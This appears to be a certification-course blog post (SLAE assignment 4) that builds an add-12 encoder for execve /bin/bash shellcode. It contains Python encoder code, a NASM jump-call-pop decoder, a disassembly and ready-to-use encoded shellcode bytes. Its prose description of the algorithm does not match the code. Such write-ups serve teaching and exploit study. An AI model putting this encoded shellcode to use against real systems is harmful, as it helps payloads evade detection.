Assignment Task:
- Create a custom encoding scheme, similar to “Insertion Encoder”
- PoC with using execve-stack as the shellcode to encode with schema and execute
The encoding scheme chosen for this assigmnet is AddWelve encoding scheme. It is a variant of caesar cipher in which the byte is shifted forward 12 bytes. The algorithm is as follows:
Take a byte from shellcode Compare it with 0xC (or 12 in decimal) if the byte is less than 0xC: go to warp else add 0xC to the byte warp: add 0xC to the byte substract 0x100 (or 256 in decimal) from the above value go to next byte if length is less than the size of shellcode
Generating execve-stack shellcode
For the purpose of this assignment, I will be using the following assembly code:
global _start section .text _start: PUSH 0x44444343 PUSH 0x43434242 PUSH 0x42424168 PUSH 0x7361622f PUSH 0x6e69622f xor ebx, ebx mov [esp+9],bl mov [esp+10],esp mov [esp+14],ebx lea ebx, [esp] lea ecx, [esp+10] lea edx, [esp+14] xor eax,eax mov al, 0xb int 0x80
Compiling and linking this code:
Verifying that shellcode does not contain any nulls.
Generating shellcode using the following command:
objdump -d ./execve-stack.o|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
Generated shellcode:
"\x68\x43\x43\x44\x44\x68\x42\x42\x43\x43\x68\x68\x41\x42\x42\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x31\xdb\x88\x5c\x24\x09\x89\x64\x24\x0a\x89\x5c\x24\x0e\x8d\x1c\x24\x8d\x4c\x24\x0a\x8d\x54\x24\x0e\x31\xc0\xb0\x0b\xcd\x80"
Encoding the shellcode using AddWelve encoding scheme
The following python script takes the shellcode, enocdes it with AddWelve scheme and prints the output in C and DB format:
shellcode = ("\x68\x43\x43\x44\x44\x68\x42\x42\x43\x43\x68\x68\x41\x42\x42\x68\x2f\x62\x61\x73\x68\x2f\x62" "\x69\x6e\x31\xdb\x88\x5c\x24\x09\x89\x64\x24\x0a\x89\x5c\x24\x0e\x8d\x1c\x24\x8d\x4c\x24\x0a\x8d\x54" "\x24\x0e\x31\xc0\xb0\x0b\xcd\x80") encodeWithByte = 12 maxValue = 256 - encodeWithByte encodedShellcode = "" db_shellcode = [] for byte in bytearray(shellcode): if byte < maxValue: encodedShellcode += '\\x%02x' % (byte + encodeWithByte) db_shellcode.append('0x%02x' % (byte + encodeWithByte)) else: encodedShellcode += '\\x%02x' % (encodeWithByte - 256 + byte) db_shellcode.append('0x%02x' % (encodeWithByte - 256 + byte)) print "Encoded shellcode:\n%s\n" % encodedShellcode print "DB formatted shellcode (to paste in .nasm file):\n%s\n" % ','.join(db_shellcode)
Output from this script:
DB formatted shellcode:
0x74,0x4f,0x4f,0x50,0x50,0x74,0x4e,0x4e,0x4f,0x4f,0x74,0x74,0x4d,0x4e,0x4e,0x74,0x3b,0x6e,0x6d,0x7f,0x74,0x3b,0x6e,0x75,0x7a,0x3d,0xe7,0x94,0x68,0x30,0x15,0x95,0x70,0x30,0x16,0x95,0x68,0x30,0x1a,0x99,0x28,0x30,0x99,0x58,0x30,0x16,0x99,0x60,0x30,0x1a,0x3d,0xcc,0xbc,0x17,0xd9,0x8c
Building the decoder
The following assembly code decodes the shellcode encoded with AddWelve scheme. It uses jump-call-pop technique to get the address of the encoded shellcode and then runs the AddWelve algorithm in reverse:
global _start section .text _start: jmp short call_shellcode decoder: pop esi xor ecx, ecx mov cl, len decode: cmp byte [esi], 0xC jl wrap sub byte [esi], 0xC jmp short nextByte wrap: xor ebx, ebx mov bl, 0xff inc bx sub bl, 0xC add bl, byte [esi] mov byte [esi], bl nextByte: inc esi loop decode jmp short shellcode call_shellcode: call decoder shellcode: db 0x74,0x4f,0x4f,0x50,0x50,0x74,0x4e,0x4e,0x4f,0x4f,0x74,0x74,0x4d,0x4e,0x4e,0x74,0x3b,0x6e,0x6d,0x7f,0x74,0x3b,0x6e,0x75,0x7a,0x3d,0xe7,0x94,0x68,0x30,0x15,0x95,0x70,0x30,0x16,0x95,0x68,0x30,0x1a,0x99,0x28,0x30,0x99,0x58,0x30,0x16,0x99,0x60,0x30,0x1a,0x3d,0xcc,0xbc,0x17,0xd9,0x8c len: equ $-shellcode
Compiling and linking this code:
Verifying that shellcode does not contain any nulls.
ptlabmachine@ptlabmachineu1204:~/Documents/SLAE/SLAE-EXAM/4$ objdump ./execve-stack-encoded.o -d -M intel ./execve-stack-encoded.o: file format elf32-i386 Disassembly of section .text: 00000000 <_start>: 0: eb 21 jmp 23 <call_shellcode> 00000002 <decoder>: 2: 5e pop esi 3: 31 c9 xor ecx,ecx 5: b1 38 mov cl,0x38 00000007 <decode>: 7: 80 3e 0c cmp BYTE PTR [esi],0xc a: 7c 05 jl 11 <wrap> c: 80 2e 0c sub BYTE PTR [esi],0xc f: eb 0d jmp 1e <nextByte> 00000011 <wrap>: 11: 31 db xor ebx,ebx 13: b3 ff mov bl,0xff 15: 66 43 inc bx 17: 80 eb 0c sub bl,0xc 1a: 02 1e add bl,BYTE PTR [esi] 1c: 88 1e mov BYTE PTR [esi],bl 0000001e <nextByte>: 1e: 46 inc esi 1f: e2 e6 loop 7 <decode> 21: eb 05 jmp 28 <shellcode> 00000023 <call_shellcode>: 23: e8 da ff ff ff call 2 <decoder> 00000028 <shellcode>: 28: 74 4f je 79 <len+0x41> 2a: 4f dec edi 2b: 50 push eax 2c: 50 push eax 2d: 74 4e je 7d <len+0x45> 2f: 4e dec esi 30: 4f dec edi 31: 4f dec edi 32: 74 74 je a8 <len+0x70> 34: 4d dec ebp 35: 4e dec esi 36: 4e dec esi 37: 74 3b je 74 <len+0x3c> 39: 6e outs dx,BYTE PTR ds:[esi] 3a: 6d ins DWORD PTR es:[edi],dx 3b: 7f 74 jg b1 <len+0x79> 3d: 3b 6e 75 cmp ebp,DWORD PTR [esi+0x75] 40: 7a 3d jp 7f <len+0x47> 42: e7 94 out 0x94,eax 44: 68 30 15 95 70 push 0x70951530 49: 30 16 xor BYTE PTR [esi],dl 4b: 95 xchg ebp,eax 4c: 68 30 1a 99 28 push 0x28991a30 51: 30 99 58 30 16 99 xor BYTE PTR [ecx-0x66e9cfa8],bl 57: 60 pusha 58: 30 1a xor BYTE PTR [edx],bl 5a: 3d cc bc 17 d9 cmp eax,0xd917bccc 5f: 8c .byte 0x8c
Generating shellcode using the following command:
objdump -d ./execve-stack-encoded.o|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
Generated shellcode:
"\xeb\x21\x5e\x31\xc9\xb1\x38\x80\x3e\x0c\x7c\x05\x80\x2e\x0c\xeb\x0d\x31\xdb\xb3\xff\x66\x43\x80\xeb\x0c\x02\x1e\x88\x1e\x46\xe2\xe6\xeb\x05\xe8\xda\xff\xff\xff\x74\x4f\x4f\x50\x50\x74\x4e\x4e\x4f\x4f\x74\x74\x4d\x4e\x4e\x74\x3b\x6e\x6d\x7f\x74\x3b\x6e\x75\x7a\x3d\xe7\x94\x68\x30\x15\x95\x70\x30\x16\x95\x68\x30\x1a\x99\x28\x30\x99\x58\x30\x16\x99\x60\x30\x1a\x3d\xcc\xbc\x17\xd9\x8c"
Testing the encoded shellcode
Github repository for this assignment: Assignment 4
————————
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
https://www.pentesteracademy.com/course?id=3
Student ID: SLAE-897
Uday Mittal is a cybersecurity professional with rich working experience working with various industries including telecom, publishing, consulting and finance. He holds internationally recognized certifications such as CRTP, OSCE, OSCP, CISSP, CISA, CISM, CRISC among others. He speaks on cybersecurity awareness, offensive security research etc. and has authored various articles on topics related to cyber security and software development for a leading magazine on open source software.